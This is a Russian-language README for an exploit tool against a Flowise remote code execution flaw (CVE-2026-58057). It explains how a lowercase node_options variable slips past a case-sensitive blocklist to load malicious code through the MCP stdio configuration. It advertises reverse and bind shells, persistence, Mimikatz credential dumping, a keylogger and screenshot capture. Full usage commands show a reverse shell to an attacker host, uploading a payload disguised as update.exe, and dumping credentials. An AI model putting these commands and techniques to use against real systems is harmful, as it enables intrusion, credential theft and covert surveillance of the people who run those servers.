Flowise Windows RCE-эксплойт для CVE-2026-58057. Обходит проверку переменных окружения через уязвимость, чувствительную к регистру. Использует node_options для внедрения произвольного кода через MCP stdio. Поддерживает reverse shell, закрепление в системе, загрузку файлов, дамп учётных данных. Только для авторизованного тестирования безопасности.
Это эксплойт производственного уровня для CVE-2026-58057 — критической уязвимости удаленного выполнения кода (RCE) в Flowise на платформе Windows. Уязвимость возникает из-за проверки переменных окружения с учетом регистра, которая не блокирует нижний регистр node_options, что позволяет злоумышленникам обойти черный список NODE_OPTIONS и выполнить произвольный код через конфигурацию Custom MCP stdio.
Эксплойт демонстрирует профессиональные инженерные практики: модульную архитектуру, всестороннюю обработку ошибок и поддержку нескольких типов полезных нагрузок.
ВАЖНО: Этот инструмент предоставляется только для авторизованного тестирования безопасности, пентеста и образовательных целей. Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный данным программным обеспечением. Всегда получайте надлежащее разрешение перед тестированием любой системы.
# Уязвимая проверка (с учетом регистра)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Блокируется только точное совпадение в верхнем регистре
raise ValueError(f"Modification not allowed")
Злоумышленник аутентифицируется в Flowise
Создаёт/изменяет узел Custom MCP stdio
Внедряет переменную окружения node_options в нижнем регистре
Устанавливает значение --require malicious-loader.js
Node.js выполняет загрузчик при запуске MCP stdio
Достигается произвольное выполнение кода
✅ Reverse Shell — обратное подключение к машине атакующего
✅ Bind Shell — открытие порта прослушивания на цели
✅ Выполнение команд — запуск произвольных системных команд
✅ Загрузка файлов — загрузка файлов в целевую систему
✅ Сохранение доступа — несколько механизмов персистентности
✅ Сбор информации — сбор данных о системе
✅ Извлечение учётных данных — интеграция с Mimikatz
✅ Захват скриншотов — снятие скриншотов рабочего стола
✅ Кейлоггер — установка возможности записи нажатий клавиш
🔐 Несколько методов аутентификации — API-ключ или имя пользователя/пароль
🔄 Автоматическая логика повтора — устойчивость к сетевым проблемам
🧹 Самоочистка — удаление файлов загрузчика с цели
🌐 Кроссплатформенность — работает на Windows/Linux/macOS
🎨 Цветной вывод — улучшенная читаемость
📊 Подробная отладка — детальное логирование для устранения неполадок
Python 3.6 или выше
pip (менеджер пакетов Python)
# Клонируйте репозиторий
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Установите зависимости
pip install -r requirements.txt
# Или минимальная установка
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| Параметр | Описание | Пример |
|---|---|---|
-t, --target | URL Flowise (обязательно) | http://localhost:3000 |
-k, --api-key | API-ключ Flowise | flowise_abc123... |
-u, --username | Имя пользователя | admin |
-p, --password | Пароль | password123 |
| Параметр | Описание | Пример |
|---|---|---|
--payload | Тип полезной нагрузки | reverse_shell |
--lhost | Хост слушателя | 192.168.1.100 |
--lport | Порт слушателя | 4444 |
--command | Команда для выполнения | whoami |
--local-file | Файл для загрузки | payload.exe |
--remote-path | Удаленный путь сохранения | C:\\Temp\\update.exe |
| Параметр | Описание |
|---|---|
--interactive | Запуск интерактивной оболочки |
--verbose | Включить отладочный вывод |
--timeout | Тайм-аут запроса в секундах |
--retries | Количество попыток повтора |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence